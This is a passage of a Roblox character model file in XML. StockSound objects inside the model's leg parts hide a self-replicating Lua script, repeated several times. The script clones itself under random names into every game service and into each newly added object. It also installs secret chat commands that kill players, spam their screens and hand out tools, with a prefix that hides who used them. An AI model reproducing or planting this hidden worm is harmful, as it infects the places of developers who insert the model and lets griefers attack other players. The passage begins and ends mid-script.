local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX334">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-2.48107839</X>
								<Y>1.32223415</Y>
								<Z>126.262299</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX335">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">s80r</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX336">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">7tn5xe</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX337">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-1.93090141</X>
								<Y>1.32223415</Y>
								<Z>127.097351</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX338">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">ekt2n40</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX339">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">mpvnwu</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
